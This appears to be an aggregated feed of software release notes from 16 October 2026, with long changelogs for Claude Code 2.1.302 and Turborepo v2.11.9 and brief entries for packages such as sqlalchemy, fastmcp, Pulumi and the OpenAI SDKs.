Co-authored-by: github-actions github-actions@github.com

The full piece, at the source



@tanstack/history release-2026-10-16-2111

@tanstack/history (npm) · Oct 16, 9:11 PM UTC

Release 2026 10 16 21:11 Changes Performance lower manifest script preload priority ( 8212) (18154b1c45) by @maxktz Chore deps: upgrade Vitest to 5 and migrate benchmarks to the bench fixture ( 8723) (7a06725038) by @schiller manuel Packages @tanstack/react router@1.170.45 @tanstack/react start@1.169.3 @tanstack/react start client@1.168.43 @tanstack/react start rsc@0.1.64 @tanstack/react start ser

The full piece, at the source



Claude Code 2.1.302: CLAUDECODEAUTOMODEMODEL to choose the model the client-side auto mode classifier uses; it does not change…

Claude Code · Oct 16, 8:53 PM UTC

What's changed
	Added CLAUDE_CODE_AUTO_MODE_MODEL to choose the model the client-side auto mode classifier uses; it does not change the model for server-side auto mode
	Added an Idle compaction row to /config for turning idle compaction off or back on; the notices shown after an idle compaction now say how to turn it off
	Added a notice to /design-sync and /design-login that standalone Claude Design (claude.ai/design) closes by December 14, 2026
	Fixed a "Prompt is too long" error when stopping a turn while the conversation was being compacted
	Fixed requests failing with "diagnostics: Extra inputs are not permitted" after switching to Vertex or Bedrock mid-session
	Fixed the Read tool loading an image file of any size, or a pipe or device named like an image, entirely into memory; image sources over 128 MB are now refused
	Fixed /autocompact and /effort saving to the wrong model when a gateway names Opus 4 or 4.1 with a prefix, such as anthropic/claude-opus-4-1
	Fixed a prompt cache miss when a tool added mid-session was loaded again through ToolSearch or after compaction
	Fixed claude plugin and other subcommands sometimes exiting before a queued settings or config write finished, which could lose the change or leave a .tmp file behind
	Fixed plugin marketplaces re-cloning on every refresh, and newly installed git plugins showing version "unknown", when git defaults to the reftable ref format
	Fixed the PowerShell tool not finding commands in a plugin's bin/ folder, and reporting an error when a search that finds nothing (rg, grep, findstr, git grep) is piped into Select-Object or another formatting cmdlet
	Fixed Claude in the desktop app pointing you to claude.ai settings or /mcp to authorize or reconnect an MCP server where that option isn't available
	Fixed artifact publishes sometimes failing when Claude sent an empty list of edits, and Claude retrying an artifact update the wrong way after a newer version of the artifact turned it away
	Fixed classifier_category missing from OpenTelemetry tool_decision events for most auto mode classifier blocks, and new tool_decision attributes pushing out tool_use_id, tool_source and tool_parameters when OTEL_LOGRECORD_ATTRIBUTE_COUNT_LIMIT is low
	Fixed rows in the agents view staying blank after moving down a long list or folding a section
	Fixed claude remote-control --help not printing its usage and exiting when not signed in
	Fixed /design consent and /design revoke suggesting /design-login when they fail in a cloud session, where it isn't available; the message now points to claude.ai/design/settings
	Fixed MCP servers showing no tools, or every tool call failing, when the server negotiates protocol version 2026-07-28 but omits resultType, ttlMs or cacheScope
	Fixed prompt suggestions spending usage credits on models your plan pays for only with credits: they are now skipped after a reply billed to credits
	Fixed URLs written in backticks being clickable only on their first row when they wrap; the whole URL is now one link in terminals that support hyperlinks
	Fixed claude plugin details <name>@builtin suggesting claude plugin list, which never shows built-in plugins, when the plugin isn't found; it now points to /plugin
	Fixed an emoji that a link starts inside wrapping one column too wide, which hid it in question previews and turned tables into lists
	Fixed worktree isolation refusing to create or resume worktrees under git 2.56 or later when a stray .git file points at a directory that doesn't exist
	Fixed a cloud session's cost and usage restarting from zero after the session resumed in a new process
	Self-hosted runner: Fixed git fetches failing with "bad object refs/heads" in sessions that reuse a checkout stored in git's reftable format
	Windows: Fixed every file write being refused or asked about for projects on exFAT or FAT32 drives, including in sessions started with --plugin-dir
	Improved startup time with many plugins enabled: plugin command and agent files now take far fewer file system calls to load, most of all on Windows
	Improved auto mode with the server-side classifier: a conversation too long for the safety check is now compacted, instead of every checked tool call being denied
	Improved the message when a background session reopened from another folder has no LLM gateway: it now says why, instead of "Not logged in"
	Changed claude -p and Agent SDK sessions with no permission mode to start in default mode on third-party providers, with telemetry off or on a fresh install; --permission-mode auto keeps auto
	Changed fork subagents (subagent_type: "fork") to be on by default in claude -p, the Agent SDK, the desktop app and VS Code, as they already are in the terminal; CLAUDE_CODE_FORK_SUBAGENT=0 turns them off, and claude mcp serve never offers them
	Changed the desktop app and VS Code to always run the main conversation's subagents in the background, as the terminal does, rather than let Claude choose; a subagent's own Agent calls in claude -p, the Agent SDK, the desktop app and VS Code now run in the foreground by default
	Changed the ← for agents footer hint to hide 10 seconds after a session opens; the count of agents waiting on you still shows
	Changed where the Claude in Chrome instructions sit in the system prompt so that new conversations can read them from the shared prompt cache
	Changed prompt and agent hooks so that at most 12 of one event run at a time; the rest wait their turn
	Changed the message shown when your organization's policy turns off /feedback: it now points to GitHub issues instead of an organization admin
	[VSCode] Fixed text after an unclosed code block in a list showing as plain text while a reply streams, then turning into code
	[VSCode] Fixed MCP server sign-in from the panel opening a broken authorization page when the server URL contains a query string
	[VSCode] Fixed the @browser banner saying "Browser connected" when no browser with the Claude extension can be reached
	[Cloud sessions] Added a banner on a routine's page that says why its last run didn't start, such as your organization reaching its limit on concurrent cloud sessions
	[Cloud sessions] Fixed "Rewind to here" failing on every message except the newest in cloud sessions; self-hosted runners need Claude Code v2.1.246 or later
	[Cloud sessions] Fixed the pull request status bar in cloud sessions flipping a pull request with merge conflicts back to ready while GitHub rechecked it
	[Cloud sessions] Fixed routine runs showing as Completed after their cloud session stopped unexpectedly, and as Cancelled when archived before they started, instead of failed
	[Cloud sessions] Fixed the diff view in cloud sessions missing changes or failing to load after the session's GitHub repository was renamed or moved
	[Cloud sessions] Fixed a scheduled routine run that failed partway being run again from the start an hour or more later, which could repeat work such as posting the same report twice
	[Cloud sessions] Fixed an open cloud session sometimes not showing messages sent from another device until you reloaded the page or clicked away and back
	[Cloud sessions] Improved the error shown when a cloud session fails to start: it now says "Connection lost" or "Server error" instead of "Something went wrong"
	[Remote Control] Fixed a subagent's pane spinning forever in a Remote Control session after your computer goes offline; it now says Remote Control is disconnected
	[Claude Tag] Fixed "is thinking…" staying up under a mention in a Slack channel or DM after Claude answered it by editing one of its earlier messages
	[Claude Tag] Fixed URLs in code blocks under a numbered or bulleted step of Claude's Slack replies being wrapped in angle brackets, which broke copied commands
	[Claude Tag] Fixed HEIC, SVG, TIFF and BMP images attached in Slack never reaching Claude; they now arrive as files in its working files, like other file types
	[Claude Tag] Fixed new channel managers losing access to Claude in Slack in organizations that restrict Claude Tag by role; the manager role now also grants Claude Tag in Slack
	[Claude Tag] Fixed custom connectors whose MCP servers share one host showing as a single connector in Claude Tag admin settings; each server is now its own connector
	[Claude Tag] Fixed Claude in Slack sometimes answering a direct message with "DMs are temporarily unavailable" and dropping it when a single Slack lookup stalled; it now retries first
	[Claude Tag] Fixed direct messages with Claude on a Slack Enterprise Grid ignoring Slack's workspace dropdown; they now run under the connected workspace you last opened Claude in
	[Claude Tag] Fixed Claude in Slack's notice for a channel's monthly spend limit saying a channel manager can raise it; it now names an organization owner and links the usage page
	[Claude Tag] Fixed links in Claude's Slack replies absorbing the closing bold or italic marks, or full-width punctuation, right after them, which broke the link and the formatting
	[Claude Tag] Improved repository search in Claude Tag admin settings to cover up to 100 connected GitHub accounts and find private repositories past the first 5,000 of a GitHub App install
	[Claude Tag] Improved Add place in Claude Tag admin settings to list a channel you type or paste right away, instead of only after your organization's full channel list has loaded
	[Claude Tag] Improved Add > Domain on a workspace's or channel's page in Claude Tag admin settings to be available once that page loads, not only after every channel has loaded
	[Claude Tag] Changed Claude Tag admin settings to organize Claude's access into four tabs: Bundles, Connectors, Skills and plugins, and Channels
	[Claude Tag] Changed the Roles page in organization settings to group the roles created for Claude Tag channel managers in a collapsed section below your organization's own roles
	[Code Review] Fixed Code Review setup not resuming after you leave to connect GitHub; back in admin settings, it now reopens at the repository picker


Read it at the source



sqlalchemy rel_2_1_5

sqlalchemy (PyPI) · Oct 16, 8:52 PM UTC

2.1.5 Released: October 16, 2026 orm [orm] [feature] Added the orm.Unmapped annotation and the orm.unmapped column() construct, providing a declarative compatible approach to having "excluded" columns in a Declarative model, that is, columns that are part of the schema.Table but are not mapped, replacing the use of orm.Mapper.exclude properties for this purpose when using a Declarative mapping. Re

The full piece, at the source



fastmcp v3.4.9

fastmcp (PyPI) · Oct 16, 8:46 PM UTC

This release backports security fixes from 4.1: OpenAPI path parameters reject . and .. segments, a skill's SKILL.md must stay inside its skill folder, regex tool search is bounded in time and pattern length, and JWT verifiers share JWKS refreshes instead of fetching on every unknown key ID. All 3.x users are encouraged to upgrade. Thanks to our 6 contributors, including 3 first time contributors.

The full piece, at the source



Pulumi 3.270.0: [cli/env] Fix pulumi env edit, env set, env rm and env provider overwriting changes made after they read the…

Pulumi · Oct 16, 8:28 PM UTC

3.270.0 (2026-10-16)
Bug Fixes
	[cli/env] Fix pulumi env edit, env set, env rm and env provider overwriting changes made after they read the environment; on a conflict, env edit reopens the editor with your edits and the current definition, and the others fail #24983
	[cli] Report an unknown drift status in pulumi stack drift status when drift detection has never run #25172


Read it at the source



OpenAI Python SDK 3.32.0: api, add cache settings and key options [2/2] (#4087) (325da45)

OpenAI Python SDK · Oct 16, 8:17 PM UTC

3.32.0 (2026-10-16)
Features
	api: add cache settings and key options [2/2] (#4087) (325da45)
	api: add prompt-based voice creation (#4091) (2e39db7)
	api: add regional processing residency options (#4081) (21ce0c2)
	api: add response error diagnostics and model notices (#4086) (e71d781)
	api: support audio fixture playback in Live sessions (#4085) (9998c1a)
	api: support Decisions in Live sessions (#4088) (230a923)

Bug Fixes
	api: declare Realtime response error messages (#4083) (95dbee9)

Chores
	api: clarify Decisions request and response fields (#4079) (d42accb)

Refactors
	share WebSocket connection handling (#4084) (70d4738)


Read it at the source



OpenAI Node SDK 7.35.0: api, add Decisions prompt caching options (#2956) (468b54e)

OpenAI Node SDK · Oct 16, 8:16 PM UTC

7.35.0 (2026-10-16)
Features
	api: add Decisions prompt caching options (#2956) (468b54e)
	api: add prompt-based voice creation (#2955) (e9f788e)
	api: add response error diagnostics and model notices (#2948) (4fd22b0)
	api: support audio fixture playback in Live sessions (#2946) (41d0966)
	api: support Decisions in Live sessions (#2951) (68b051e)
	api: support project API key scope updates (#2943) (7665932)

Bug Fixes
	api: declare Realtime response error messages (#2944) (4ca7bd6)

Chores
	api: clarify the Live startup history token limit (#2949) (35bfd1f)

Refactors
	share existing WebSocket send and open handling (#2947) (5f218bf)
	share WebSocket connection lifecycle and generated bindings (#2953) (88b67c1)


Read it at the source



@ai-sdk/zai@3.0.33

AI SDK · Oct 16, 8:15 PM UTC

Patch Changes
	Updated dependencies [0957554]
	@ai-sdk/provider@4.0.29
	@ai-sdk/provider-utils@5.0.62
	@ai-sdk/openai-compatible@3.0.71





Read it at the source



@ai-sdk/xai@5.0.24

AI SDK · Oct 16, 8:15 PM UTC

Patch Changes
	Updated dependencies [0957554]
	@ai-sdk/provider@4.0.29
	@ai-sdk/provider-utils@5.0.62





Read it at the source



@ai-sdk/workflow-harness@1.0.154

AI SDK · Oct 16, 8:15 PM UTC

Patch Changes @ai-sdk/harness@1.0.154

The full piece, at the source



@opentelemetry/instrumentation-mongodb instrumentation-winston-v0.68.1

@opentelemetry/instrumentation-mongodb (npm) · Oct 16, 8:12 PM UTC

0.68.1 (2026 10 16) Reverts "feat(instrumentation winston): add @opentelemetry/winston transport as peer dependency ( 3771) ( 3776)" ( 3842) (5bdb354)

The full piece, at the source



jsonpath-ng v1.11.0

jsonpath-ng (PyPI) · Oct 16, 8:10 PM UTC

Breaking changes When applying an index to a string, nothing will be returned. Previously, an index applied to a string would "find" individual characters. For example, $[0] applied to "abc" would find "a" . This change improves RFC 9535 compliance. Slices and the [ ] wildcard no longer coerce scalars and objects into arrays. ( 96) Previously, $[ ] applied to "abc" or 5 would find the value itself

The full piece, at the source



ai 7.0.143

npm releases · Oct 16, 8:10 PM UTC

AI SDK by Vercel - build apps like ChatGPT, Claude, Gemini, and more with a single interface for any model using the Vercel AI Gateway or go direct to OpenAI, Anthropic, Google, or any other model provider.

The full piece, at the source



resend v2.50.0

resend (PyPI) · Oct 16, 7:55 PM UTC

What's Changed chore(deps): update dependency python to v3.15.0 by @renovate[bot] in https://github.com/resend/resend python/pull/292 fix: honor legacy custom async HTTP clients by @mayankbohradev in https://github.com/resend/resend python/pull/294 fix(broadcasts): accept preview text and topic id in create and update params by @RaphaelFakhri in https://github.com/resend/resend python/pull/297 fix

The full piece, at the source



expo-template-tabs@58.0.23

Expo · Oct 16, 7:50 PM UTC

Patch Changes Updated dependencies. ( #51649 ) expo-router@58.0.23 expo@58.0.14

The full piece, at the source



expo-template-default@58.0.23

Expo · Oct 16, 7:49 PM UTC

Patch Changes Updated dependencies. ( #51649 ) expo-router@58.0.23 expo@58.0.14

The full piece, at the source



postcss-discard-duplicates cssnano@9.9.0

postcss-discard-duplicates (npm) · Oct 16, 7:42 PM UTC

What's Changed cssnano now ships its presets and plugins in a single package, so installing it adds one cssnano package to your dependency tree instead of about thirty, and you have fewer packages to review in audits and lockfile updates. preset: 'lite' and preset: 'advanced' now work without installing another package. An installed preset package still takes precedence over the built in one and p

The full piece, at the source



Zed 1.24.3: Bump to 1.24.3 for @JosephTLyons

Zed · Oct 16, 7:42 PM UTC

Bump to 1.24.3 for @JosephTLyons

The full piece, at the source



langchain-core==1.6.12

LangChain · Oct 16, 7:28 PM UTC

Changes since langchain-core==1.6.11
release(core): 1.6.12 (#41277)

fix(core): propagate extras on content-block-start events (#41272)

Read it at the source



openfeature-provider-posthog-v0.1.107

posthog (PyPI) · Oct 16, 7:26 PM UTC

Patch changes Updated dependencies: posthog@7.71.0

The full piece, at the source



gcloud-aio-auth auth-5.5.3

gcloud-aio-auth (PyPI) · Oct 16, 7:23 PM UTC

Internal no functional changes since 5.5.2 releases are now built and published to PyPI from GitHub Actions via trusted publishing, and include PEP 740 attestations ( 1173)

The full piece, at the source



wandb v0.31.0

wandb (PyPI) · Oct 16, 7:10 PM UTC

What's Changed Notable Changes The default API endpoint is now CoreWeave Forge at https://api.forge.coreweave.com , and run links point to https://forge.coreweave.com/wandb . Existing API keys stored for api.wandb.ai keep working without logging in again. Added Python 3.15 is now supported (@dmitryduev in https://github.com/wandb/wandb/pull/13167) wandb.init(resume="must") now works for offline ru

The full piece, at the source



Turborepo v2.11.9

Turborepo · Oct 16, 7:07 PM UTC

What's Changed
Changelog
	chore: Release Turborepo 2.11.8 by @github-actions[bot] in #14789
	perf: Prefetch Cargo metadata during lazy graph construction by @anthonyshew in #14497
	perf: Compute Berry lockfile closures once across workspaces by @anthonyshew in #14499
	perf: Check cache hit outputs in place instead of on the blocking pool by @anthonyshew in #14524
	perf: Speed up Berry lockfile loading by @anthonyshew in #14500
	perf: Parse bun.lock without building a JSON syntax tree by @anthonyshew in #14502
	perf: Skip the dry run cache batch window when there is no remote cache by @anthonyshew in #14505
	perf: Emit lockfile closures pre-sorted and cheapen closure interning by @anthonyshew in #14525
	perf: Reuse configuration derived from turbo.json between the shim and the CLI by @anthonyshew in #14521
	feat: Report locked tools-only setup plans by @anthonyshew in #14483
	perf: Compute Bun lockfile closures once across workspaces by @anthonyshew in #14501
	perf: Reuse open parent directories when restoring cache archives by @anthonyshew in #14506
	perf: Skip dropping the run right before turbo run exits by @anthonyshew in #14507
	perf: Match literal input exclusions without compiling globs by @anthonyshew in #14510
	perf: Copy pruned package files in parallel by @anthonyshew in #14512
	feat: Report proposed first-lock and refresh setup plans by @anthonyshew in #14571
	perf: Compress large cache archives with multithreaded zstd by @anthonyshew in #14698
	perf: Read tracked file stats from directory listings on Windows by @anthonyshew in #14633
	perf: Diff changed lockfile resolutions with a merge instead of ordered sets by @anthonyshew in #14630
	perf: Write dry run text output through one buffered stdout handle by @anthonyshew in #14625
	perf: Parse pnpm-workspace.yaml once per command by @anthonyshew in #14620
	perf: Write each file trace error to stderr in a single call by @anthonyshew in #14618
	perf: Reuse glob validation results when re-validating turbo.json in the language server by @anthonyshew in #14615
	perf: Keep git subprocesses off the critical path of dry runs by @anthonyshew in #14610
	perf: Classify watch file changes when they arrive instead of on a 100ms poll by @anthonyshew in #14600
	perf: Buffer TUI raw-output spool writes by @anthonyshew in #14597
	perf: Add the turbo query version key without re-parsing the response by @anthonyshew in #14592
	perf: Replay cached task logs in whole-line chunks by @anthonyshew in #14590
	perf: Write each boundaries diagnostic to stderr in a single call by @anthonyshew in #14587
	perf: Walk leading-globstar input trees in parallel without wax by @anthonyshew in #14511
	perf: Reuse open parent directories when writing cache archives by @anthonyshew in #14513
	perf: Index Bun lockfile subgraph lookups instead of rescanning all packages by @anthonyshew in #14514
	perf: Render the pruned lockfile while package files are copied by @anthonyshew in #14515
	feat: Resolve exact native npm lock cohorts by @anthonyshew in #14484
	perf: Batch prefixed task output into one write per chunk by @anthonyshew in #14588
	perf: Share one allocation per external package identity by @anthonyshew in #14528
	perf: Remove quadratic package-name scan from microfrontends discovery by @anthonyshew in #14527
	perf: Render file trace errors on several threads by @anthonyshew in #14623
	perf: Check boundaries packages in parallel again by @anthonyshew in #14598
	perf: Read PTY child output in 8 KiB chunks by @anthonyshew in #14594
	perf: Load each package's tsconfig once when checking boundaries by @anthonyshew in #14589
	perf: Skip the file watcher round trip when checking outputs for new task hashes by @anthonyshew in #14626
	perf: Refresh only memory stats in turbo info by @anthonyshew in #14593
	perf: Walk and record prune copy plans in parallel by @anthonyshew in #14522
	feat: Reconcile sealed clone-local setup selections by @anthonyshew in #14485
	test: Add macOS ACL safety prerequisite for setup state by @anthonyshew in #14493
	fix: Accept Homebrew's bundled npm prefix in setup source preflight by @anthonyshew in #14566
	feat: Report ignored version manager declarations during setup by @anthonyshew in #14531
	feat: Provision clone-local setup without lock writes by @anthonyshew in #14486
	feat: Integrate native npm provisioning into setup by @anthonyshew in #14491
	test: Check pruned setup outputs through the real CLI by @anthonyshew in #14529
	feat: Parse Go toolchain declarations for setup by @anthonyshew in #14530
	feat: Parse root uv version requests for setup by @anthonyshew in #14533
	test: Prove Unix process parity for native and npm-wrapped turbo run by @anthonyshew in #14539
	feat: Add root-only turbo setup policy to turbo.json by @anthonyshew in #14541
	test: Interrupt Unix turbo setup through both entrypoints by @anthonyshew in #14542
	feat: Bootstrap a verified repository-scoped rustup by @anthonyshew in #14543
	feat: Follow approved release CDN redirects in verified downloads by @anthonyshew in #14557
	test: Prove native Windows process parity for standalone and npm-wrapped turbo run by @anthonyshew in #14565
	fix: Explain missing Git and non-repository setup roots by @anthonyshew in #14567
	fix: Keep non-UTF-8 arguments from crashing the turbo shim by @anthonyshew in #14570
	feat: Install managed tool generations on native Windows by @anthonyshew in #14582
	feat: Add the shell hook by default from the POSIX installer by @anthonyshew in #14608
	feat: Accept Corepack SHA-224 package manager pins by @anthonyshew in #14640
	fix: Accept official Bun ZIP metadata in verified archives by @anthonyshew in #14657
	fix: Write turbo.lock as indented JSON by @anthonyshew in #14738
	fix: Accept project .npmrc files with only install-layout settings by @anthonyshew in #14740
	feat: Define native lifecycle-script policy for dependency setup by @anthonyshew in #14661
	feat: Resolve uv requests to official locked releases by @anthonyshew in #14537
	feat: Install locked uv with repo-scoped launchers by @anthonyshew in #14538
	feat: Record official Go release artifacts in turbo.lock by @anthonyshew in #14532
	feat: Create, refresh, and freeze uv selections in turbo setup by @anthonyshew in #14547
	feat: Resolve root Python requests through managed uv by @anthonyshew in #14552
	fix: Lock managed Python for every supported architecture by @anthonyshew in #14691
	feat: Select Linux setup artifacts by detecting the host libc at runtime by @anthonyshew in #14637
	feat: Provision verified Go toolchain archives by @anthonyshew in #14544
	feat: Provision locked rustup from turbo setup by @anthonyshew in #14548
	fix: Keep managed setup working under Ubuntu's default 0002 umask by @anthonyshew in #14666
	feat: Provision pnpm 11 releases with their module entry points by @anthonyshew in #14742
	fix: Accept npm and pnpm wrapper environments in setup source policy by @anthonyshew in #14643
	feat: Extract official python-build-standalone archives by @anthonyshew in #14669
	feat: Declare additional repository tools in root setup policy by @anthonyshew in #14574
	fix: Parse JSX in JavaScript files by @sahyl in #14794
	fix: Complete CI frozen setup behavior by @anthonyshew in #14492
	feat: Provision tools with plain turbo setup and report skipped dependencies by @anthonyshew in #14650
	feat: Record trusted setup installations outside the repository by @anthonyshew in #14494
	feat: Provision pnpm 12 native binaries from verified platform packages by @anthonyshew in #14743
	feat: Parse root rust-toolchain files into portable requests by @anthonyshew in #14550
	feat: Provision locked Python interpreters through managed uv by @anthonyshew in #14559
	feat: Sync uv workspaces from the committed uv.lock by @anthonyshew in #14561
	feat: Resolve Rust toolchain requests to exact locked channels by @anthonyshew in #14551
	feat: Authorize prepared tools from private setup evidence by @anthonyshew in #14495
	feat: Install locked Rust toolchains through private rustup by @anthonyshew in #14562
	feat: Create and update Rust selections in turbo.lock by @anthonyshew in #14563
	feat: Prefetch locked Cargo dependencies with managed cargo by @anthonyshew in #14564
	feat: Activate trusted Node and pnpm for task execution by @anthonyshew in #14508
	feat: Enforce managed run compatibility before CLI handoff by @anthonyshew in #14509
	fix: Close managed execution authorization gaps by @anthonyshew in #14516
	fix: Preserve informational exits in managed repositories by @anthonyshew in #14519
	feat: Reuse trusted installations for offline setup by @anthonyshew in #14518
	feat: Add experimental managed Node and pnpm peer capabilities by @anthonyshew in #14517
	feat: Lock additional tool artifacts and detect declaration drift by @anthonyshew in #14575
	feat: Install additional tools through a generic verified artifact backend by @anthonyshew in #14577
	feat: Activate locked uv and Python and check their readiness by @anthonyshew in #14649
	fix: Precompile managed Python bytecode while staging by @anthonyshew in #14670
	feat: Prune setup records for deleted, moved, or re-cloned roots by @anthonyshew in #14655
	feat: Activate locked Rust toolchains and check their readiness by @anthonyshew in #14651
	feat: Provision locked additional tools from turbo setup by @anthonyshew in #14581
	feat: Create and refresh Go entries in turbo.lock during local setup by @anthonyshew in #14553
	feat: Prefetch Go modules without changing go.mod or go.sum by @anthonyshew in #14554
	feat: Advertise the managed Node/pnpm peer contract on GNU Linux x64 by @anthonyshew in #14641
	feat: Provision locked Yarn classic binaries by @anthonyshew in #14555
	feat: Add repository and CLI controls for skipping lifecycle scripts by @anthonyshew in #14662
	feat: Explain whether turbo setup repairs tools or updates the lock by @anthonyshew in #14654
	feat: Reuse verified tool downloads across repositories by @anthonyshew in #14535
	perf: Cache installed tool tree hashes per generation by @anthonyshew in #14653
	test: Exercise global setup then plain turbo run end to end by @anthonyshew in #14642
	feat: Apply root setup policy and CLI overrides in turbo setup by @anthonyshew in #14663
	feat: Pin and verify the xz Rust tarballs rustup downloads by @anthonyshew in #14771
	feat: Hash locked additional-tool artifact identity portably by @anthonyshew in #14583
	feat: Provision locked modern Yarn bundles by @anthonyshew in #14556
	feat: Provision locked Bun binaries without global Bun by @anthonyshew in #14558
	feat: Provision offline setup from verified cached artifacts by @anthonyshew in #14540
	feat: Measure and remove inactive managed tool storage by @anthonyshew in #14549
	feat: Create and update turbo.lock for Yarn and Bun during local setup by @anthonyshew in #14560
	feat: Validate installed Yarn and Bun activation plans and checks by @anthonyshew in #14648
	feat: Set up Bun-only repositories without a Node declaration by @anthonyshew in #14658
	feat: Add a shell hook that activates managed tools in bash and zsh by @anthonyshew in #14603
	feat: Add an uninstall mode to the POSIX installer by @anthonyshew in #14636
	test: Recover setup killed mid-download and mid-unpack by @anthonyshew in #14569
	feat: Route setup downloads through credential-free mirror overrides by @anthonyshew in #14545
	test: Race concurrent setup writers over one shared cache by @anthonyshew in #14573
	feat: Clean up replaced managed tools automatically during setup by @anthonyshew in #14652
	feat: Add the turbo exec command surface by @anthonyshew in #14536
	feat: Run turbo exec commands with the managed environment by @anthonyshew in #14568
	feat: Activate locked Go and check its readiness in turbo setup --check by @anthonyshew in #14644
	feat: Name the missing Node declaration when --no-lock setup cannot start by @anthonyshew in #14701
	feat: Add shell hook support for fish and PowerShell by @anthonyshew in #14606
	fix: Run turbo setup in pruned output without a Git repository by @anthonyshew in #14639
	fix: Accept umask 0002 ancestors of trusted setup records by @anthonyshew in #14702
	fix: Guard managed turbo exec local CLI handoff by @anthonyshew in #14572
	feat: Lock and verify system Node.js and pnpm under verify-system policy by @anthonyshew in #14664
	feat: Record and authorize trusted setup roots on native Windows by @anthonyshew in #14659
	test: Verify turbo exec end to end from nested paths by @anthonyshew in #14578
	test: Prove Unix turbo exec parity for standalone and npm wrapper by @anthonyshew in #14580
	feat: Provision managed Node and pnpm on native Windows by @anthonyshew in #14584
	fix: Preserve turbo exec behavior for Windows .cmd launchers and Ctrl+C by @anthonyshew in #14646
	test: Prove native Windows turbo exec entrypoint parity without managed tools by @anthonyshew in #14660
	fix: Stop native Windows turbo setup on Ctrl+C from either entrypoint by @anthonyshew in #14591
	fix: Refuse managed setup on Windows arm64 hosts, including x64 turbo under emulation by @anthonyshew in #14672
	fix: Propose setup plans with every ecosystem's lock resolver by @anthonyshew in #14744
	fix: Detect the host libc for managed turbo run by @anthonyshew in #14710
	feat: Add a frozen npm install adapter for setup dependencies by @anthonyshew in #14718
	feat: Activate additional tool binaries in managed run and exec by @anthonyshew in #14706
	feat: Install locked npm dependencies during turbo setup by @anthonyshew in #14721
	feat: Follow HTTPS redirects for additional-tool artifacts by @anthonyshew in #14707
	feat: Configure setup mirrors in the root setup policy by @anthonyshew in #14700
	feat: Record trusted setup roots for --no-lock installs by @anthonyshew in #14727
	feat: Activate and hash --no-lock selections in plain turbo run by @anthonyshew in #14729
	feat: Install additional-tool archives without a top-level folder by @anthonyshew in #14708
	feat: Mirror Bun, uv, and Python release downloads by @anthonyshew in #14714
	feat: Mirror Go and Rust release downloads by @anthonyshew in #14739
	feat: Provision declared npm without lock writes by @anthonyshew in #14730
	feat: Activate every managed ecosystem in turbo run, including its own probes by @anthonyshew in #14711
	feat: Download additional tools through the shared cache, offline mode, and a mirror by @anthonyshew in #14709
	feat: Resolve native task commands through managed binaries by @anthonyshew in #14712
	test: Cover the Unix additional-tool setup, run, and recovery matrix by @anthonyshew in #14717
	feat: Qualify additional tools on native Windows x64 by @anthonyshew in #14731
	feat: Use verified system tools in managed turbo run by @anthonyshew in #14713
	test: Exercise managed Go setup then plain turbo run without host Go by @anthonyshew in #14719
	test: Exercise managed Rust setup then plain turbo run without host Rust by @anthonyshew in #14720
	test: Exercise managed uv and Python setup then plain turbo run without host Python by @anthonyshew in #14722
	test: Exercise managed Yarn and Bun setup then plain turbo run without host tools by @anthonyshew in #14723
	fix: Let turbo run and turbo exec use verify-system tools on musl hosts by @anthonyshew in #14751
	test: Qualify Yarn classic and modern Yarn setup on native Windows x64 by @anthonyshew in #14746
	feat: Provision managed uv on native Windows x64 by @anthonyshew in #14749
	feat: Provision locked Rust toolchains on native Windows x64 by @anthonyshew in #14752
	fix: Kill the command when turbo exec is killed by @anthonyshew in #14757
	feat: Provision managed Go from the official Windows x64 zip by @anthonyshew in #14748
	feat: Provision managed Python on native Windows x64 by @anthonyshew in #14756
	feat: Activate managed tools from the PowerShell hook on native Windows x64 by @anthonyshew in #14747
	feat: Activate managed Go with a plain GOROOT on native Windows by @anthonyshew in #14754
	feat: Provision locked Bun on native Windows x64 by @anthonyshew in #14750
	fix: Keep PowerShell hook output ASCII so console code pages cannot corrupt PATH by @anthonyshew in #14755
	feat: Provision pnpm 12 native binaries on native Windows x64 by @anthonyshew in #14753
	fix: Kill the local turbo when the global turbo that handed off is killed by @anthonyshew in #14785
	feat: Activate managed Rust on native Windows x64 by @anthonyshew in #14758
	feat: Activate managed Go from the shell hook on native Windows x64 by @anthonyshew in #14764
	fix: Block cache restoration writes to Git metadata by @anthonyshew in #14808
	feat: Report locked dependency actions in turbo setup plans and checks by @anthonyshew in #14724
	feat: Advertise the managed-run peer contract on every claimed platform by @anthonyshew in #14780
	fix: Activate managed tools in turbo watch by @anthonyshew in #14779
	perf: Stamp installed tool trees on native Windows by @anthonyshew in #14774
	feat: Install pnpm dependencies in frozen mode during setup by @anthonyshew in #14726
	feat: Measure setup outcomes through standard telemetry by @anthonyshew in #14546
	feat: Install Yarn dependencies immutably during setup by @anthonyshew in #14733
	fix: Activate managed tools in commands that discover the repository by @anthonyshew in #14784
	feat: Install Bun dependencies from a frozen lock during setup by @anthonyshew in #14734
	feat: Sync locked uv workspaces during turbo setup by @anthonyshew in #14735
	fix: Reject Windows prefixed paths during cache restore by @anthonyshew in #14809
	feat: Prefetch locked Cargo dependencies during turbo setup by @anthonyshew in #14736
	feat: Prefetch Go modules during turbo setup by @anthonyshew in #14737
	test: Cover managed uv and Python setup on native Windows x64 by @anthonyshew in #14761
	feat: Prefetch Cargo dependencies and report the MSVC linker on Windows by @anthonyshew in #14760
	feat: Install locked dependencies offline from native caches by @anthonyshew in #14759
	feat: Prefetch Go modules with managed Go on native Windows by @anthonyshew in #14762
	feat: Install locked JavaScript dependencies on native Windows x64 by @anthonyshew in #14763
	feat: Probe repository-local turbo on Windows and cover pins on every platform by @anthonyshew in #14781
	feat: Export managed runtime variables from the shell hook on every platform by @anthonyshew in #14802
	refactor: Route setup's Git queries through an injectable boundary by @anthonyshew in #14811
	perf: Load each tsconfig once per file trace by @anthonyshew in #14627
	perf: Overlap reading and compression when writing large cache archives by @anthonyshew in #14604
	perf: Speed up pnpm lockfile pruning and encoding in turbo prune by @anthonyshew in #14520
	perf: Prefetch remote cache artifacts as soon as task hashes are known by @anthonyshew in #14585
	perf: Remove the remaining quadratic passes from the Bun prune subgraph by @anthonyshew in #14523
	perf: Memoize Cargo.lock closures and share resolution identities by @anthonyshew in #14498
	perf: Match node_modules-style exclusions by path segment instead of compiling globs by @anthonyshew in #14634
	perf: Avoid waking the rayon pool for small workspaces by @anthonyshew in #14602
	perf: Overlap affected change detection with package graph construction by @anthonyshew in #14496
	perf: Find line breaks in task output a block at a time by @anthonyshew in #14601
	perf: Buffer task log file writes in 64 KiB blocks by @anthonyshew in #14607
	perf: Hand lockfile closures to JavaScript resolution as indices by @anthonyshew in #14596
	perf: Share each file's text across its trace errors by @anthonyshew in #14632
